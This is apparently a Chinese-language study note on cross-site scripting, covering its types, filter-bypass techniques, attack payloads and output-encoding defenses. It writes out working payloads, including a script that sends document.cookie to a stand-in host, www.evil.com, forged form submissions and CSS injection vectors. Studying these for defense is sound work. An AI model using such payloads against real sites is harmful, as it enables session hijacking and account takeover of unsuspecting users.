基本概念

XSS全称是Cross Site Scripting,中文为跨站脚本攻击,为了和CSS(层叠样式表,Cascading Style Sheets,CSS)区分命名为XSS。

  1. 原理:在HTML页面中注入恶意脚本,当目标网站目标用户的浏览器渲染HTML文档时,恶意脚本执行,使得攻击者可以控制用户浏览器。

  2. 例子

    有一个网页,会将用户输入的内容回显在页面上。

    如果我们在该网页输入如下脚本,脚本的作用就是弹出一个对话框显示用户的Cookie信息。

    1
    <script>alert(document.cookie);</script>

    如果目标服务器没有对这个输入进行检验就直接将其显示在页面上的话,则会生成如下形式的页面代码:

    1
    2
    3
    <html>
    <script>alert(document.cookie);</script>
    </html>

    可以看到,这段脚本已经成功嵌入到该页面当中。

    当受害浏览器访问这个页面的时候,这段脚本也将被认为是页面的一部分,从而被执行,即弹出对话框显示受害浏览器的Cookie信息。

分类

根据效果的不同,XSS攻击主要可以分为以下几类:

反射型XSS(非持久型XSS)

  1. 原理

    一般情况下,攻击者发送给别人发送带有恶意脚本代码参数的 url ,当用户打开这个带有恶意代码参数的 url 地址时,恶意脚本代码作为输入提交到服务器端,服务器端解析后响应,恶意代码被目标服务器通过错误信息、搜索结果等方式回显在用户的浏览器上,浏览器解析执行XSS代码。

    场景:一般会出现在查询类页面等。

    这种网站一般会显示用户的输入,用户点开会恶意代码参数就会显示在网站上并执行。

  2. 特点

    • 非持久性。攻击脚本不会写入网站的数据库,是一次性的攻击。所以攻击者一般需要诱骗用户点击包含攻击脚本的 URL,才能攻击成功。
    • 需要传递给服务器,通过服务器反射恶意脚本
  3. 例子

    假设网站有一个搜索功能,该功能接收URL参数中用户提供的搜索词:

    1
    https://insecure-website.com/search?term=gift

    网站在对这个URL的响应中,回显用户提供的搜索词

    假设应用程序不对数据进行任何其他处理,攻击者就可以构造如下的url:

    1
    https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>

    其他用户访问这个url的时候,对应渲染出来的html应该为:

    1
    2
    3
    <p>
    You searched for: <script>/* Bad stuff here... */</script>
    </p>

    用户的浏览器就会执行script内部的恶意代码

存储型XSS(持久型XSS)

  1. 原理

    攻击者利用 XSS 漏洞,将内容经正常功能提交进入目标服务器端的数据库中并持久保存。当正常用户请求目标页面时,前端页面获得后端从数据库中读出的注入代码,恰好将其渲染执行。

    场景:一般存在于 Form 表单提交等交互功能,如发帖留言,注册页面等。

  2. 特点

    • 稳定性:恶意脚本存入网站服务器端
  3. 例子

    攻击者写下一篇包含有恶意 JavaScript 代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的 JavaScript 代码。

DOM-based型XSS

  1. 原理

    通过DOM操作前端代码输出的时候形成的XSS为DOM-based型XSS

    客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行。

    • 场景:一般产生于用户能够进行参数输入查询的地方
    • 从效果来看,DOM-based型XSS也属于反射型,但是其形成的原因比较特殊,所以单独拿出来介绍。

    网站本地执行url中的参数而并不传给服务器

  2. 特点

    • 不与后台服务器产生数据交互
    • 无法从服务器端进行防御。因为构造的url中的恶意代码参数并不传给服务器,而是客户端获得DOM中的数据直接在本地执行,服务器无法检测到。
    • 通过客户端脚本在浏览器端触发
  3. 例子

    有一个网站,包含一个搜索框,用户输入关键字并点击搜索按钮,搜索结果会显示在页面上。网站使用JavaScript来获取URL中的搜索词并将其显示在页面上

    img

    可以看到网站直接通过document.write从url中提取参数并将参数打印在网页上,而并没有将参数传给服务器

    构造url:

    1
    http://example.com/#<script>alert('XSS')</script>

    用户访问该url时直接本地执行xss代码

XSS构造

利用字符编码

  1. 应用场景

    网站对用户的输入中的双引号等特殊符号进行了转义

  2. 方法

    构造字符编码吃掉转义符号

  3. 例子

    网站在一个 <script> 标签里面输出了一个用户输入的变量

    1
    var redirectUrl=" ";

    如果我们输入以下内容:

    1
    ";alert(/XSS/);

    因为双引号被转义,所以在html页面上的输出如下:

    1
    var redirectUrl="\";alert(/XSS/);";

    并不能执行后面的XSS代码

    javascript中的转义字符是 \,会将特殊符号如单引号、双引号等构造成 \', \" 的形式。

    在这里的话 \" 就直接被视作文本的 " 了,而并不会和前面的前引号 " 形成闭合。

    但是,百度的返回页面是 GBK/GB2312 编码的,因此 %c1\ 这两个字符组合在一起后,会成为一个Unicode字符。在firefox浏览器中会认为这是一个字符,所以构造xss攻击代码如下:

    1
    %c1";alert(/XSS/);//

    在页面上,引号 %c1" 被转义成 %c1\" ,而 %c1\ 组成了一个新的Unicode字符,吃掉了转义符号 \,从而让构造的 " 和前面的前引号形成闭合绕过了系统的安全检查,成功实施了XSS注入。

绕过长度限制

  1. 应用场景

    有时候服务器端可能对输入变量的长度进行了限制,长度限制不足以构造XSS

  2. 方法

    1)使用event

    • onclick

    2)将payload写到别处,通过简短的代码加载这段XSS payload

    • loaction.hash

      location.hash 是 JavaScript 中 location 对象的一个属性,它返回 URL 中的哈希/锚部分(即 # 号及其后面的部分)。

      location.hash 对象的具体解释: location.hash详解

      因为哈希部分不会被发送到服务器,所以服务器端的Web日志中并不会记录下location.hash 里的内容,从而也更好地隐藏了攻击者真实的意图。

      location.hash 没有长度限制,所以可以将XSS代码写在location.hash 部分,然后在页面中限制长度的地方构造代码执行location.hash

    • 远程加载js文件

    • 利用注释符

  3. 例子

    1)onclick

    构造文本框内输入

    1
    <input type=text value="" onclick=alert(1)// "/>

    2.1)loaction.hash

    构造url为:

    1
    http://www.a.com/test.html#alert(1)

    这里的 #alert(1) 就是location.hash

    构造网页中的文本输入框为:

    1
    <input type="text" value="" onclick="eval(location.hash.substr(1)) " />

    eval()函数:

    • 如果参数是一个表达式,eval() 函数将执行表达式。
    • 如果参数是 Javascript 语句,eval() 将执行 Javascript 语句。

    当我们点击这个文本框的时候,会执行 location.hash 中的代码,并去掉哈希部分的第一个字符(#

    因此,当用户点击这个输入框时, location.hash#alert(1),去掉第一个字符后,eval 函数将执行 alert(1),从而弹出一个警告框。

    这样就成功执行了我们构造的XSS攻击代码。

    2.3)利用注释符

    网站上存在两个文本框,第一个文本框存在长度限制,第二个文本框允许写入更多的字节。

    此时可以利用HTML的“注释符号”,把两个文本框之间的HTML代码全部注释掉,从而“打通”两个<input> 标签。

    例,有2个文本框

    1
    2
    3
    <input id=1 type="text" value="" />
    xxxxxxxxxxxxx
    <input id=2 type="text" value="" />

    在第一个input文本框中,输入:

    1
    " onfocus="var a='This is a long ';"><!--

    onfocus 事件是一个 JavaScript 事件,它在元素获得焦点时触发。焦点是指用户通过点击、触摸或使用键盘(如 Tab 键)将输入光标或选中状态移动到某个元素上。

    在 HTML 中,onfocus 事件可以直接在元素标签内部指定

    在第二个input文本框中,输入:

    1
    --><script>alert(a + 'XSS attack!');</script>

    最终生成的html代码如下:

    1
    2
    3
    <input id="input1" type="text" value="" onfocus="var a='This is a long ';"><!--" />
    <!-- Some HTML content or other inputs -->
    <input id="input2" type="text" value="--><script>alert(a + 'XSS attack!');</script>" />

    在这个例子中,当第一个文本框获得焦点时,会执行 onfocus 事件中的JavaScript代码,定义了一个变量 a。由于第一个文本框的值以 "><!-- 结尾,它实际上将中间的HTML内容注释掉了,直到遇到第二个文本框中的 -->,这结束了注释。然后,第二个文本框中的 <script> 标签被正确解析并执行,弹出带有完整消息的警告框。

    通过这种方式,我们成功地将较长的攻击代码分割成两个部分,并利用HTML注释符将它们连接起来,绕过了单个输入字段的长度限制。

使用base标签

<base> 标签的作用是定义页面上的所有使用“相对路径”标签的hosting地址,可以作用于该标签之后的所有标签。

例如:

这样访问的img路径就是 http://www.google.com/intl/en_ALL/images/srpr/logo1w.png

1
2
3
4
<body>
<base href="http://www.google.com" />
<img src="/intl/en_ALL/images/srpr/logo1w.png" />
</body>

攻击者如果在页面中插入了 <base> 标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用“相对路径”的标签。

因此需要对这个标签进行过滤。

window.name

对当前窗口的window.name 对象赋值,没有特殊字符的限制。

因为window对象是浏览器的窗体,而并非document对象,因此很多时候window对象不受同源策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。

使用window.name 可以缩短XSS Payload的长度,如下所示:

1
2
3
4
<script>
window.name = "alert(document.cookie)";
locaton.href = "http://www.xssedsite.com/xssed.php";
</script>

在同一窗口打开存在XSS的站点后,只需通过XSS执行name中的代码即可:

1
eval(name);

只有11个字节,短到了极点。

XSS payload

什么是 XSS payload

当发现网站存在XSS漏洞时,攻击者能够对该网站植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为XSS Payload。

XSS Payload实际上就是JavaScript脚本(还可以是 Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到

Cookie劫持

  1. 概念

    最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击。

    Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户。

  2. 例子

    如下所示,攻击者可以先构造一个含恶意参数的url

    1
    http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js ></script>

    加载一个远程脚本,真正的XSS Payload写在远程脚本 evil.js 中。

    这样可以避免直接在URL的参数里写入大量的JavaScript代码。

    evil.js 中,可以通过如下代码窃取Cookie:

    1
    2
    3
    var img -document.createElement("img");
    img.src = "http://www.evil.com/log?" + escape (document.cookie);
    document.body.appendChild(img);

    当用户访问这个构造的url时执行脚本,这段代码在页面中插入了一张看不见的图片,同时把 docnment cookie对象作为参数发送到远程服务器。

    这样就实现了cookie 的劫持。

构造GET和POST请求

  1. 原理

    一个网站的应用,只需要接受HTTP协议中的GET 或 POST请求,即可完成所有操作。对于攻击者来说,仅通过JavaScript,就可以让浏览器发起这两种请求。

  2. 构造GET请求例子

    假设某博客网站存在XSS漏洞,我们如何通过XSS漏洞来删除掉博客上的某篇文章?

    假设正常删除该文章的链接是:

    1
    http://blog.sohu.com/manage/entry.do?m=delete&id=156713012

    攻击者可以构造一段javascript代码(XSS Payload)如下,

    这段代码中,通过插入一个img标签来发起一个GET请求,从而对删除文章的链接发出了请求

    1
    2
    3
    var img = document.createElement("img");
    img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
    document.body.appendChild(img);

    后续,攻击者只需要通过XSS漏洞诱使用户执行这段XSS Payload,就会删除这篇文章

  3. 构造POST请求例子

    如果网站上只有一个表单,即仅接收POST请求,如何实施XSS攻击?

    可以通过两种方法实现攻击:

    • 1)构造一个form表单,自动提交这个表单

      • a. 一个个构造DOM节点

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        var f = document.createElement ("form");
        f.action = "";
        f.method = "post";
        document.body.appendChild(f);

        var i1 = document.createElement ("input");
        i1.name = "ck";
        i1.value = "JiUY";
        f.appendchi1d(i1);

        var i2 = document.createElement("input”);
        i2.name = " mb_text";
        i2.value = "testtesttest";
        f.appendchild(i2);

        f.submit();

        如果表单的参数很多的话,通过构造DOM 节点的方式,代码将会非常冗长。所以可以使用第二种方法,直接写HTML代码,这样会使得整个代码精简很多。

      • b. 直接构造HTML代码,如下所示:

        1
        2
        3
        4
        5
        6
        7
        var dd = doeument.createElement ("div");
        document.body.appendchild(dd);
        dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform"> +
        '<input type ="hidden" value = "JiUY" name="ck"/>' +
        '<input type="text" value="testtesttest" name = "mb_text”/>' +
        '</form>'
        document.getElementById("xssform").submit();
    • 2)通过 XMLHttpRequest 发送一个 POST 请求

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      var url = "http://www.douban.com";
      var postStr = "ck=JiUY &mb text-test1234";
      var ajax =nul1;
      if(window.XMLHttpReguest){
      ajax =new XMLRttpRequest();
      }
      else if (window.Activexobject){
      ajax = new ActiveXobjeet("Microsoft.XMLHTTP");
      }
      else{
      return;
      }

      ajax.open("POST", url, true);
      ajax.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
      ajax.send(postStr);

      ajax.onreadystatechange = function(){
      if (ajax.readystate- 4&& ajax.status == 200){
      alert("Done!");
      }
      }

XSS钓鱼

XSS并非万能。前面的例子都是Javascript脚本,缺少"与用户的交互",当出现需要与用户进行交互的情况是,如:碰到验证码、修改密码时需要输入旧密码,XSS Payload就会失效。

但我们可以通过其他方法来进行攻击:

  • 验证码:XSS Payload可以读取页面的内容,将验证码的图片URL发送到远程服务器上来实施。攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。
  • 修改密码:攻击者可以将XSS与"钓鱼"结合。如:利用 Javascript 在当前页面上"画出"一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送到攻击者的服务器上。

识别用户浏览器

在很多时候,攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如,如果知道用户使用的浏览器、操作系统,攻击者就有可能实施一次精准的浏览器内存攻击,最终给用户电脑植入一个木马。

如何通过JavaScript脚本识别浏览器版本呢?

  1. 通过XSS 读取浏览器的UserAgent对象

    1
    alert(navigator.userAgent);

    但是userAgent是可以伪造的,同时浏览器的一些拓展也可以屏蔽或自定义UA,这个信息不一定准确。

  2. 根据浏览器之间的差异识别

    根据每种浏览器独有的对象特征识别浏览器的大版本

识别用户安装的软件

知道用户使用的浏览器、操作系统后,可以通过各种方法识别用户安装了的软件

  1. 通过浏览器控件的classid检测相应软件

    可以通过判断软件对应控件的classid是否存在,来判断用户是否安装了该软件

    如下代码检测迅雷的控件 XunLeiBHO.ThunderIEHelper ,如果存在,用户大概率也安装了迅雷软件

    1
    2
    3
    4
    5
    try {
    var Obj = new ActiveXObject('XunLeiBHO.ThunderIEHelper');
    } catch (e){
    //异常了,不存在该控件
    }

    通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本

  2. 通过第三方软件

    如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。在XSS Payload中,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的javascript

  3. 其他

    在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:

    1
    chrome://flashgot/skin/icon32.png

    扫描Chrome扩展时,只需在Javascript中加载这张图片,如果加载成功,则扩展存在;反之,扩展就不存在。

CSS History Hack

通过CSS,来发现用户曾经访问过的网站

如果用户曾经访问过某个链接,那么这个链接的颜色会和未访问过的链接颜色不一致。

对应的POC代码见《白帽子讲web安全》P58

搜索引擎好像没有这个情况了,但是google scholar仍然存在,访问过的为紫色

image-20240229200958088

获取用户的真实IP地址

很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在NAT后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?

可以通过XSS Payload获取客户端的本地IP地址。

**javascript本身并没有获取本地IP地址的能力。**一般需要第三方软件来完成。

比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用 Java Applet 的接口获取客户端的本地IP地址。

1
2
3
4
5
6
7
8
9
10
AttackAPI.dom.getInternalIP=function(){
try {
var sock = new java.net.Socket();
sock.bind(new java.net.InetSocketAddress('0.0.0.0',0));
sock.connect(new java.net.InetSocketAddress(document.domain,(!document.location.port)?80:document.location.port));
return sock.getLocalAddress().getHostAddress();
} catch (e) {}

return '127.0.0.1';
};

还有两个通过API获取本地网络信息的API见《白帽子讲web安全》P61

XSS蠕虫

  1. 定义

    XSS蠕虫是指一种具有自我传播能力的XSS攻击,破坏力和影响力巨大。XSS蠕虫借助 Ajax 技术实现对Web应用程序中存在的 XSS 漏洞的自动化利用传播,它可以将一些用户数据信息发送给Web应用程序然后再将自身代码传递进入Web应用程序,等到被感染用户访问Web应用程序时,蠕虫自身将又开始进行数据发送感染。

  2. 应用场景与条件

    一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSSWorm攻击。比如,发送站内信、用户留言等页面,都是xss worm的高发区。

    如果一个页面只能由用户个人查看,比如“用户个人资料设置”页面,因为缺乏用户之间互动的功能,所以即使存在XSS,也不能被用于XSS Worm的传播。

  3. 例子

XSS防御

HttpOnly

  1. 定义:浏览器禁止页面的JS访问带有HttpOnly属性的Cookie。

    HttpOnly并非防止出现XSS,而是防御XSS后的Cookie劫持攻击。

  2. 作用方式

    在服务器对浏览器的请求进行回复,Set-Cookie时对cookie进行标记,服务器可能会设置多个Cookie,而HttpOnly可以有选择性地加在任何一个Cookie值上,因此可以仅将其加在用于认证的关键cookie上面。

输入检查

  1. 定义:

    目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。

    原因:

    • 客户端检查提高用户体验:在客户端进行输入验证可以即时反馈错误信息给用户,无需等待服务器响应。节约了服务器资源的同时,也可以快速指导用户纠正错误,提高整体的用户体验。
    • 服务端检查保障安全性:尽管客户端验证可以提供即时反馈,但它可以被绕过。用户可以修改客户端代码,或者直接通过HTTP请求工具发送请求绕开客户端。因此,服务端验证是必不可少的,它保证了即使客户端验证被绕过,服务端仍然能够保护应用免受恶意数据的影响。
  2. 作用方式:存在比较多的开源xssfilter

  3. 局限性

    1)语境

    XSS Filter在用户提交数据时获取变量,并进行XSS检查;但此时用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对语境的理解并不完整。

    例如:

    1
    <script src="$var" ></script>

    其中$var是用户可以控制的变量。用户只需要提交一个恶意脚本所在的URL地址,即可实施XSS攻击。

    如果是一个全局性的XSS Filter,则无法看到用户数据的输出语境,而只能看到用户提交了一个URL,很可能会漏报。因为在大多数情况下,URL是一种合法的用户数据。

    2)字符处理

    如果仅仅是对 <" 等字符进行粗暴的转义或替换处理,可能会改变用户数据的语义。

输出检查(安全编码函数)

  1. 可以使用编码函数对输出中的敏感符号进行转义

    例如:JavascriptEncode对除数字、字母以外的所有字符,使用十六进制的方式进行编码。

    还有很多的编码函数,如XMLEncode、JSONEncode等。

  2. 在转义的时候要关注上下文环境

    不同的上下文环境(HTML文档结构和JavaScript程序逻辑)对数据的解析方式不同。如果在不适当的上下文中使用错误的转义方法,可能不会产生预期的防护效果,仍然允许XSS攻击的发生。所以要在正确的地方使用正确的编码方式

    例如:

    a. 初始HTML代码

    1
    2
    3
    htmlCopy code<body>
    <a href=# onclick="alert('$var');">test</a>
    </body>

    这里的意图是在用户点击链接时弹出变量$var的内容。

    b. 用户输入和攻击向量

    1
    2
    3
    javascript
    Copy code
    $var = htmlencode("');alert('2");

    用户通过输入特制的字符串试图结束原有的alert函数调用,并开始一个新的alert函数,实际上注入了额外的JavaScript代码。

    c. HTML编码应用后的结果

    1
    2
    3
    htmlCopy code<body>
    <a href=# onclick="alert('&#x27;&#x29;&#x3b;alert&#x28;&#x27;2');">test</a>
    </body>

    这里,虽然特殊字符被HTML编码,看似安全,但问题在于浏览器的解析顺序。

    浏览器解析流程:

    • **HTML解析器(HTMLParser)**优先运行,它会解码HTML实体,从而恢复JavaScript代码中的特殊字符。
    • **JavaScript解析器(JavaScript Parser)**随后执行,此时JavaScript代码已经被“修复”成可以执行的形式。

    因此,最终执行的JavaScript为:

    1
    2
    3
    javascript
    Copy code
    alert('');alert('2');

    这实现了攻击者的目的:在页面中注入了额外的JavaScript代码。

各种场景下的XSS防御

想要根治XSS问题,可以列出所有XSS可能发生的场景,再一一解决。

下面用变量“$var”表示用户数据,它将被填充入HTML代码中。

可能存在以下场景:

在HTML标签中输出

  • 例子

    1
    2
    <div>$var</div>
    <a href=# >$var</a>
  • 利用方式

    一般是构造一个<script>标签,或者是任何能够产生脚本执行的方式。比如

    1
    <div><script>alert(/xss/)</script></div>

    或者

    1
    <a href=# ><img src=# onerror=alert(1) /></a>
  • 防御方法

    对变量使用HtmlEncode。

在HTML属性中输出

  • 例子

    1
    <div id="abc" name="$var" ></div>
  • 利用方式

    使用 " 闭合属性引号

    1
    <div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
  • 防御方法

    HtmlEncode。

在script标签中输出

  • 例子

    1
    2
    3
    <script>
    var x = "$var";
    </script>
  • 利用方式

    使用 " 闭合引号

    1
    2
    3
    <script>
    var x = "";alert(/xss/);//";
    </script>
  • 防御方法

    JavascriptEncode

在事件中输出

  • 例子

    1
    <a href=# onclick="funcA('$var')" >test</a>
  • 利用方式

    闭合引号

    1
    <a href=# onclick="funcA('');alert(/xss/);//')" >test</a>
  • 防御方法

    JavascriptEncode

在CSS中输出

  • 例子与利用方式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 通过@import指令从恶意URL导入一个CSS文件
    <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
    # 从指定的URL加载绑定文件,该文件可以包含恶意的XBL
    <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
    # behavior属性用于将特定的行为(通常是HTC文件,一种微软专有的HTML组件)附加到页面元素。
    <XSS STYLE="behavior: url(xss.htc);">
    # 利用CSS中的list-style-image属性,插入JavaScript代码,该代码在渲染列表项图像时执行。
    <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
    # 通过background-image属性插入JavaScript代码。
    <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    # expression是一个允许CSS属性值为JavaScript表达式的特性。这可以用来执行JavaScript代码。
    <DIV STYLE="width: expression(alert('XSS'));">
  • 防御方法

    尽可能地禁止用户控制的变量在<style>标签、HTML标签的style属性以及CSS文件中输出。

    可以使用encodeForCSS()函数

在地址中输出

  • 例子

    1
    <a href="http://www.evil.com/?test=$var" >test</a>
  • 利用方式

    一个url的组成一般如下:

    1
    [Protocal][Host][Path][Search][Hash]

    如:

    1
    2
    3
    4
    5
    6
    https://www.a.com/a/b/c/test?abc=123#sss
    [Protocal]="https://"
    [Host]="www.a.com"
    [Path]="/a/b/c/test"
    [Search]="?abc=123"
    [Hash]="#ssss"

    攻击者可能会构造伪协议实施攻击,包括javascript、vbscript、dataURI等

    1
    <a href="javascript:alert(1);" >test</a>

    闭合引号

    1
    <a href=# onclick="funcA('');alert(/xss/);//')" >test</a>
  • 防御方法

    • 检查URL的协议:确保URL以“http”或“https”开头,如果不是,则自动添加。

    • URLEncode路径和参数:在确保协议和主机部分正确后,再对路径和参数部分进行URLEncode。

      在用户能够完全控制URL的情况下,Protocal和Host部分不能使用URLEncode,否则会改变URL的语义。

富文本处理

什么是富文本:

1
2
3
有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为“富文本”。
比如一个用户在论坛里发帖,帖子的内容里要有图片、视频,表格等,
这些“富文本”的效果都需要通过HTML代码来实现。

如何处理富文本:

  • 通过htmlparser可以解析出HTML代码的标签、标签属性和事件。
  • 禁止事件
  • 标签的选择:使用白名单,只允许<a><img><div>等比较“安全”的标签存在。
  • 自定义CSS:尽量禁止

DOM Based XSS 防御

前文提到的方法都是针对 “从服务器应用直接输出到HTML页面” 的XSS漏洞,并不适用于DOM Based XSS。

DOM Based XSS漏洞发生在客户端,浏览器在解析和执行JavaScript代码时引入了恶意脚本。

  • 例子1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <script>
    function test(){
    var str = document.getElementById("text").value;
    //将 div 元素 (id="t") 的内部 HTML 设置为一个带有 str 作为链接地址的 <a> 元素。链接的文本显示为 testLink。
    document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
    }
    </script>

    <div id="t" ></div>
    <input type="text" id="text" value="" />
    <input type="button" id="s" value="write" onclick="test()" />

    在button的onclick事件中,执行了test()函数,而该函数将text标签的输入值写入了DOM节点,最后导致了XSS的发生。

  • 例子2

    1
    2
    3
    4
    5
    //code1 
    <script>
    var x="$var";
    document.write("<a href='"+x+"'>test</a>");
    </script>

    变量 $var 被写入html页面中,可能产生xss攻击。

    假设用户输入 $var 的值为onclick=alert(1);//,这个值被发送给了服务器端,服务器对其进行了 javascriptEscape 转义处理

    1
    2
    3
    4
    5
    //code2
    <script>
    var x="\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27";
    document.write{"<a href='"+x+"'>test</a>"};
    </script>

    转义后的值被嵌入到HTML模板中,并传递到客户端浏览器。

    但是,这个转义是在服务器端完成的,目的是防止直接在服务器端生成的HTML中执行恶意代码。然而,转义后的字符串被传递到客户端后,浏览器会重新解析这些转义字符,使其恢复原始的恶意代码。

    当浏览器解析并执行这段JavaScript代码的时候,浏览器重新渲染页面,转义后的结果在 document.write 执行时,浏览器会将转义字符还原为:

    1
    <a href='' onclick=alert(1);//''>test</a>

    点击 test 链接会触发 onclick 事件,成功注入XSS。

    为什么会出现这样的转义无效现象??

    首先,客户端对x的转义在javascript中生效了

    1
    var x="\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27";			(1)

    当这段代码执行的时候,JavaScript解释器将这些转义字符解析为对应的实际字符

    1
    var x = " 'onclick=alert(1);//' ";									(2)

    注意,这里因为转义的存在,这段javascript代码中将x的内容'onclick=alert(1);//' 视作了字符串,并不会对其进行执行

    但是后续document.write执行的时候,会将 x 的内容(已经完成解析,即为上面(2)中的内容)插入到HTML中,而这段在html上插入时没有进行再转义,产生了xss漏洞。

  • 防御方法

    JS输出到HTML页面,也相当于一次XSS输出过程。需要分语境使用不同的编码函数。

    • 首先,当"$var"输出到<script>时,应该执行一次javascriptEncode

      这一步是在将用户输入赋值给 JavaScript 变量时进行的编码,确保输入不会被解释为 JavaScript 代码。

      在服务器端和客户端都可以进行编码

    • 其次,document.write输出到HTML,要分2种情况

      • 如果document.write输出到事件或者脚本,再做一次javascriptEncode
      • 如果document.write输出到HTML内容或者属性,则做一次HtmlEncode
  • DOM based XSS的触发点

    • JS输出到HTML页面

      需要重点关注这几个地方的参数是否可以被用户控制

      1
      2
      3
      4
      5
      6
      7
      8
      9
      document.write()
      document.writeln()
      xxx.innerHTML=
      xxx.outerHTML=
      innerHTML.replace
      document.attachEvent()
      window.attachEvent()
      document.location.replace()
      document.location.assign()
    • 其他

      1
      2
      3
      4
      5
      6
      7
      页面中所有的inputs框
      window.location(href、hash等)
      window.name
      document.referrer
      document.cookie
      localstorage
      XMLHttpRequest返回的数据